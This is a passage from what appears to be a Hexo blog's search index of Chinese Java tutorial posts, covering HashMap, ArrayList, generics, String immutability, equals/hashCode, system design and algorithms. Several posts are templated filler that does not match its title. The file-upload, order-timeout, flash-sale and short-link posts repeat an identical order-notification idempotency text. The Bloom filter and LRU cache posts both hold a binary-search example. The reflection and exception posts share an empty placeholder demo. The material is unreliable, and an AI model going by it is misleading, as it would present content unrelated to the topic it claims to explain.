class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>Java 7 使用分段锁，Java 8 使用 CAS + synchronized</p></li><li><p>锁粒度从段级别降到了节点级别</p></li><li><p>使用红黑树优化链表的查询性能</p></li><li><p>支持原子操作，如 putIfAbsent、computeIfAbsent</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>HashMap 底层结构和扩容过程</title>
      <link href="//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/"/>
      <url>//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="HashMap-底层结构和扩容过程"><a href="#HashMap-底层结构和扩容过程" class="headerlink" title="HashMap 底层结构和扩容过程"></a>HashMap 底层结构和扩容过程</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ArrayList 扩容机制和使用建议</title>
      <link href="//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/"/>
      <url>//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/</url>
      
        <content type="html"><![CDATA[<h1 id="ArrayList-扩容机制和使用建议"><a href="#ArrayList-扩容机制和使用建议" class="headerlink" title="ArrayList 扩容机制和使用建议"></a>ArrayList 扩容机制和使用建议</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 反射的使用场景和风险</title>
      <link href="//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/"/>
      <url>//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-反射的使用场景和风险"><a href="#Java-反射的使用场景和风险" class="headerlink" title="Java 反射的使用场景和风险"></a>Java 反射的使用场景和风险</h1><p>Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 异常体系和业务异常设计</title>
      <link href="//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/"/>
      <url>//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-异常体系和业务异常设计"><a href="#Java-异常体系和业务异常设计" class="headerlink" title="Java 异常体系和业务异常设计"></a>Java 异常体系和业务异常设计</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 泛型的类型擦除到底是什么</title>
      <link href="//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/"/>
      <url>//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-泛型的类型擦除到底是什么"><a href="#Java-泛型的类型擦除到底是什么" class="headerlink" title="Java 泛型的类型擦除到底是什么"></a>Java 泛型的类型擦除到底是什么</h1><p>泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。</p><h2 id="泛型解决了什么问题"><a href="#泛型解决了什么问题" class="headerlink" title="泛型解决了什么问题"></a>泛型解决了什么问题</h2><p>没有泛型时，集合里什么都能放：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">List</span> <span class="variable">list</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">Integer</span> <span class="variable">value</span> <span class="operator">=</span> (Integer) list.get(<span class="number">0</span>); <span class="comment">// 运行时报错</span></span><br></pre></td></tr></table></figure><p>使用泛型后，编译期就能发现问题：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> list.get(<span class="number">0</span>);</span><br></pre></td></tr></table></figure><h2 id="类型擦除的影响"><a href="#类型擦除的影响" class="headerlink" title="类型擦除的影响"></a>类型擦除的影响</h2><p>运行时 <code>List&lt;String&gt;</code> 和 <code>List&lt;Integer&gt;</code> 都会被擦除成 <code>List</code>。所以不能这样判断：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 编译不通过</span></span><br><span class="line"><span class="keyword">if</span> (list <span class="keyword">instanceof</span> List&lt;String&gt;) &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java String 为什么设计成不可变</title>
      <link href="//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/"/>
      <url>//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-String-为什么设计成不可变"><a href="#Java-String-为什么设计成不可变" class="headerlink" title="Java String 为什么设计成不可变"></a>Java String 为什么设计成不可变</h1><p>String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。</p><h2 id="不可变是什么意思"><a href="#不可变是什么意思" class="headerlink" title="不可变是什么意思"></a>不可变是什么意思</h2><p>下面的代码看起来像修改了字符串：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">&quot;java&quot;</span>;</span><br><span class="line">name = name + <span class="string">&quot;-blog&quot;</span>;</span><br></pre></td></tr></table></figure><p>实际上原来的 <code>java</code> 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。</p><h2 id="为什么这样设计"><a href="#为什么这样设计" class="headerlink" title="为什么这样设计"></a>为什么这样设计</h2><ul><li>线程安全：多个线程共享同一个字符串，不会互相改坏。</li><li>哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。</li><li>常量池复用：相同字面量可以复用，减少内存浪费。</li></ul><h2 id="什么时候用-StringBuilder"><a href="#什么时候用-StringBuilder" class="headerlink" title="什么时候用 StringBuilder"></a>什么时候用 StringBuilder</h2><p>循环拼接大量字符串时，不要一直用 <code>+</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">StringBuilder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">1000</span>; i++) &#123;</span><br><span class="line">    builder.append(i).append(<span class="string">&#x27;,&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> builder.toString();</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 中 equals 和 hashCode 的正确理解</title>
      <link href="//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/"/>
      <url>//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-中-equals-和-hashCode-的正确理解"><a href="#Java-中-equals-和-hashCode-的正确理解" class="headerlink" title="Java 中 equals 和 hashCode 的正确理解"></a>Java 中 equals 和 hashCode 的正确理解</h1><p>Java 里判断对象是否相等，不能只看 <code>==</code>。<code>==</code> 比较的是引用地址，<code>equals</code> 通常表示业务意义上的相等。只要重写 <code>equals</code>，一般也要重写 <code>hashCode</code>，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。</p><h2 id="一个最小例子"><a href="#一个最小例子" class="headerlink" title="一个最小例子"></a>一个最小例子</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object o)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span> == o) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">if</span> (!(o <span class="keyword">instanceof</span> User)) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> (User) o;</span><br><span class="line">        <span class="keyword">return</span> Objects.equals(id, user.id);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Objects.hash(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="为什么-hashCode-也要改"><a href="#为什么-hashCode-也要改" class="headerlink" title="为什么 hashCode 也要改"></a>为什么 hashCode 也要改</h2><p>HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Set&lt;User&gt; users = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">System.out.println(users.size()); <span class="comment">// 期望输出 1</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>文件上传服务如何保证稳定</title>
      <link href="//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/"/>
      <url>//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/</url>
      
        <content type="html"><![CDATA[<h1 id="文件上传服务如何保证稳定"><a href="#文件上传服务如何保证稳定" class="headerlink" title="文件上传服务如何保证稳定"></a>文件上传服务如何保证稳定</h1><p>文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>订单超时取消如何实现</title>
      <link href="//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/"/>
      <url>//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="订单超时取消如何实现"><a href="#订单超时取消如何实现" class="headerlink" title="订单超时取消如何实现"></a>订单超时取消如何实现</h1><p>订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>秒杀系统的核心设计思路</title>
      <link href="//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/"/>
      <url>//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="秒杀系统的核心设计思路"><a href="#秒杀系统的核心设计思路" class="headerlink" title="秒杀系统的核心设计思路"></a>秒杀系统的核心设计思路</h1><p>秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>短链接系统如何设计</title>
      <link href="//duan-lian-jie-xi-tong-ru-he-she-ji/"/>
      <url>//duan-lian-jie-xi-tong-ru-he-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="短链接系统如何设计"><a href="#短链接系统如何设计" class="headerlink" title="短链接系统如何设计"></a>短链接系统如何设计</h1><p>短链接系统是一个经典的系统设计题。本文讲它的核心思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>布隆过滤器适合解决什么问题</title>
      <link href="//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/"/>
      <url>//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="布隆过滤器适合解决什么问题"><a href="#布隆过滤器适合解决什么问题" class="headerlink" title="布隆过滤器适合解决什么问题"></a>布隆过滤器适合解决什么问题</h1><p>布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>LRU 缓存淘汰算法动手实现</title>
      <link href="//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/"/>
      <url>//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="LRU-缓存淘汰算法动手实现"><a href="#LRU-缓存淘汰算法动手实现" class="headerlink" title="LRU 缓存淘汰算法动手实现"></a>LRU 缓存淘汰算法动手实现</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>二分查找为什么容易写错</title>
